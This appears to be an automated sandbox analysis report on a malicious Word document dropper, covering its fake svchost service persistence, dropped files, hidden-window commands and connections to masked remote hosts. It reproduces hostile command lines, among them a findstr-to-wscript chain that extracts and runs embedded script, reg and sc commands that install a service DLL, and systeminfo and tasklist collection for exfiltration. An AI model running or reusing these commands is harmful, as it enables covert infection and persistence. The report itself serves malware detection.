Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\COMSysApp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\COMSysApp] 'ImagePath' = '<SYSTEM32>\svchost.exe -k COMSysApp'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters] 'ServiceDll' = '<SYSTEM32>\mssvps.dll'
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im zx.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c findstr /b "try" "<PATH_SAMPLE>.doc">%USERPROFILE%\zx.js && wscript %USERPROFILE%\zx.js
Modifies file system
Creates the following files
- %HOMEPATH%\zx.js
- %WINDIR%\temp\cab_1576_6
- %WINDIR%\temp\cab_1576_4
- %WINDIR%\temp\cab_1576_2
- %WINDIR%\temp\cab_1576_3
- %WINDIR%\temp\tmp8651.tmp
- %WINDIR%\temp\tmp59c4.tmp
- %WINDIR%\temp\cab_2288_5
- %WINDIR%\temp\cab_2288_6
- %WINDIR%\temp\cab_2288_4
- %WINDIR%\temp\cab_2288_2
- %WINDIR%\temp\cab_2288_3
- %WINDIR%\temp\cab_1576_5
- %WINDIR%\temp\tmp3a70.tmp
- <Current directory>\~wrd0001.tmp
- <Current directory>\~wrd0000.tmp
- <SYSTEM32>\mssvps.ini
- <SYSTEM32>\mssvps.dll
- nul
- %HOMEPATH%\$dpx$.tmp\95843c39680b3548a1dbc1aad21addac.tmp
- %HOMEPATH%\$dpx$.tmp\efa827d2c3e5254ab5317f9e9a78544e.tmp
- %HOMEPATH%\$dpx$.tmp\6ed5e5fd2b90814c8982b83f1fd4312c.tmp
- %HOMEPATH%\$dpx$.tmp\07bd2be6f2cd6f4b94a3021403478820.tmp
- %HOMEPATH%\$dpx$.tmp\a2cec4dd6d4d914d8ad31365dc1b64c1.tmp
- %HOMEPATH%\zx.tmp
- <SYSTEM32>\mssvps.dat
- %WINDIR%\temp\tmp8a48.tmp
Deletes the following files
- %HOMEPATH%\mssvps.dll
- %WINDIR%\temp\cab_1576_6
- %WINDIR%\temp\cab_1576_5
- %WINDIR%\temp\cab_1576_4
- %WINDIR%\temp\cab_1576_3
- %WINDIR%\temp\cab_1576_2
- %WINDIR%\temp\tmp3a70.tmp
- %WINDIR%\temp\tmp59c4.tmp
- %WINDIR%\temp\cab_2288_6
- %WINDIR%\temp\tmp8a48.tmp
- %WINDIR%\temp\cab_2288_5
- %WINDIR%\temp\cab_2288_3
- %WINDIR%\temp\cab_2288_2
- <Current directory>\~wrd0000.tmp
- %HOMEPATH%\install.bat
- %HOMEPATH%\zx.tmp
- %HOMEPATH%\zx.js
- %HOMEPATH%\mslwer.dll
- %HOMEPATH%\mssvps.ini
- %WINDIR%\temp\cab_2288_4
- %WINDIR%\temp\tmp8651.tmp
Moves the following files
- from %HOMEPATH%\$dpx$.tmp\a2cec4dd6d4d914d8ad31365dc1b64c1.tmp to %HOMEPATH%\zx.bat
- from %HOMEPATH%\$dpx$.tmp\07bd2be6f2cd6f4b94a3021403478820.tmp to %HOMEPATH%\install.bat
- from %HOMEPATH%\$dpx$.tmp\6ed5e5fd2b90814c8982b83f1fd4312c.tmp to %HOMEPATH%\mssvps.dll
- from %HOMEPATH%\$dpx$.tmp\efa827d2c3e5254ab5317f9e9a78544e.tmp to %HOMEPATH%\mssvps.ini
- from %HOMEPATH%\$dpx$.tmp\95843c39680b3548a1dbc1aad21addac.tmp to %HOMEPATH%\mslwer.dll
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.doc
Deletes itself.
Network activity
Connects to
- 'dr#######g.onlinewebshop.net':80
- 'li#######agon.mypressonline.com':80
TCP
HTTP GET requests
- http://dr#######g.onlinewebshop.net/KB3000061.dat
UDP
- DNS ASK dr#######g.onlinewebshop.net
- DNS ASK li#######agon.mypressonline.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' %HOMEPATH%\zx.js
- '<SYSTEM32>\cmd.exe' /c findstr /b "try" "<PATH_SAMPLE>.doc">%USERPROFILE%\zx.js && wscript %USERPROFILE%\zx.js' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c expand zx.tmp -F:* "%CD%" && zx.bat' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c REG ADD HKCU\Console /v CodePage /t REG_DWORD /d 65001 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c systeminfo >%WINDIR%\TEMP\Tmp3A70.tmp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c makecab "%WINDIR%\TEMP\Tmp3A70.tmp" "%WINDIR%\TEMP\Tmp59C4.tmp"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c tasklist >%WINDIR%\TEMP\Tmp8651.tmp' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c makecab "%WINDIR%\TEMP\Tmp8651.tmp" "%WINDIR%\TEMP\Tmp8A48.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\findstr.exe' /b "try" "<PATH_SAMPLE>.doc"
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /c tasklist >%WINDIR%\TEMP\Tmp8651.tmp
- '<SYSTEM32>\makecab.exe' "%WINDIR%\TEMP\Tmp3A70.tmp" "%WINDIR%\TEMP\Tmp59C4.tmp"
- '<SYSTEM32>\cmd.exe' /c makecab "%WINDIR%\TEMP\Tmp3A70.tmp" "%WINDIR%\TEMP\Tmp59C4.tmp"
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\cmd.exe' /c systeminfo >%WINDIR%\TEMP\Tmp3A70.tmp
- '<SYSTEM32>\reg.exe' ADD HKCU\Console /v CodePage /t REG_DWORD /d 65001 /f
- '<SYSTEM32>\cmd.exe' /c REG ADD HKCU\Console /v CodePage /t REG_DWORD /d 65001 /f
- '<SYSTEM32>\svchost.exe' -k COMSysApp
- '<SYSTEM32>\sc.exe' start COMSysApp
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "<SYSTEM32>\mssvps.dll" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f
- '<SYSTEM32>\sc.exe' config COMSysApp type= interact type= own start= auto error= normal binpath= "<SYSTEM32>\svchost.exe -k COMSysApp"
- '<SYSTEM32>\sc.exe' query ComSysApp
- '<SYSTEM32>\findstr.exe' /i "system32"
- '<SYSTEM32>\cmd.exe' /S /D /c" echo %HOMEPATH%\ "
- '<SYSTEM32>\sc.exe' stop COMSysApp
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\expand.exe' zx.tmp -F:* "%HOMEPATH%"
- '<SYSTEM32>\cmd.exe' /c expand zx.tmp -F:* "%CD%" && zx.bat
- '<SYSTEM32>\cmd.exe' /c makecab "%WINDIR%\TEMP\Tmp8651.tmp" "%WINDIR%\TEMP\Tmp8A48.tmp"
- '<SYSTEM32>\makecab.exe' "%WINDIR%\TEMP\Tmp8651.tmp" "%WINDIR%\TEMP\Tmp8A48.tmp"
